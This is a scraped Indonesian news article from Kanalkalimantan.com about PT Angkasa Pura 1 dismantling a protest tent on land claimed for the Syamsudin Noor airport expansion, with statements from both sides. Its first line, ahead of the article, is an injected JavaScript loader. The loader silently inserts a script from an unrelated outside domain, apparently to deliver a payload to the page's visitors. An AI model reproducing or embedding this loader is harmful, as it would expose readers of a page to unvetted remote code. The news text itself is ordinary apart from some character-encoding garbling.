(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU,  Demi mengejar target pembangunan Bandara Syamsudin Noor, PT Angkasa Pura 1, akhirnya menggusur bangunan ‘tenda biru’ di atas lahan yang ditempati keluarga Muhammad bin Abdurauf. Dikawal 250 personil gabungan dari Polisi, TNI, dan Satpol PP,  tenda perjuangan itu pun akhirnya dibongkar, dan enam orang warga yang menempati bangunan alakadarnya itu dibawa ke kantor pengacaranya.
Proses pengusuran atas ‘tenda biru’ tersebut digelar Kamis (25/1) sekitar pukul 09.30 Wita. Pihak PT Angkasa Pura 1 didampingi Polres Banjarbaru, turut melakukan mediasi kepada enam warga penguni gubuk tersebut, yakni Muhammad bin Abdulrauf, Hadar, Yansyah, Yunani, Antung Burhan, dan Arsad. Selama ini, mereka bertahan dan enggan meninggalkan lahan seluas 7,9 hektare di lokasi perluasan pembangunan Bandara Syamsudin Noor, karena belum mendapatkan ganti rugi.
Dan tadi, ‘tenda biru’ yang telah dihuni selama hampir sembilan bulan tersebut akhirnya dibongkar.
Menurut Hadar, pihaknya sebenarnya tetap bersikeras menolak untuk meninggalkan lahan tersebut sebelum hak-hak mereka terpenuhi. Karena belum ada kata sepakat, proses negosiasi yang dilakukan di bawah tenda itu pun tanpa titik temu. Perdebatan terjadi sekitar 1 jam, akhirnya pihak kepolisian membawa enam warga ke mobil dan akan diantar ke rumah mereka masing masing. Namun mereka menolak, sampai akhirnya pengacara mereka, Samsul menelepon untuk agar keenam warga tersebut dibawa ke rumahnya.
Kuasa Hukum keluarga Abdurrauf, Samsul Hidayat SH, MH, menyebutkan, tindakan penertiban yang dilakukan PT Angkasa Pura 1 dengan didampingi ratusan personil gabungan tersebut, dianggap sebagai tindakan perampasan terhadap hak kliennya.
Menurutnya, tindakan hari ini adalah perbuatan melawan hukum. Karena tidak ada surat perintah dari pengadilan ataupun annmaning untuk ditunjukkan kepada pemilik tanah sejatinya. Pihak Angkasa Pura 1, menurut Samsul, juga belum pernah memberikan surat pemberitahuan terkait kegiatan seperti hari ini, atau surat lainnya apapun sebutannya. (Lihat: Video Negosiasi PT Angkasa Pura dengan Penghuni ‘Tenda Biru’).
Terkait hal ini, Samsul memastikan pihaknya dan keluarga Abdurrauf akan mengambil langkah hukum atas upaya bongkar paksa ‘tenda biru’ yang ditempati enam kliennya.
“Hal ini merugikan klien kami ini, dengan hal ini kami akan mengambil langkah-langkah hukum yang jelas baik secara perdata atau pidana,†katanya kepada Kanalkalimantan.com.
Di sisi lain, pasca penggusuran ‘tenda biru’ yang ditempati keluarga Abdurrauf, pihak PT Angkasa Pura 1 Syamsudin Noor menggelar pers conference di bandara, pukul 11.00 Wita. General Manager PT Angkasa Pura 1, Wahyudi mengatakan, pihaknya sudah membayar seluruh lahan masyarakat sesuai data kepemilikan yang telah diinventariskan dan diverifikasi oleh Panitia Pengadaan Tanah (P2T) Banjarbaru secara tunai. Dan sebagian lagi dititipkan di Pengadilan Negeri (PN) Banjarbaru melalui mekanisme konsignasi.
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.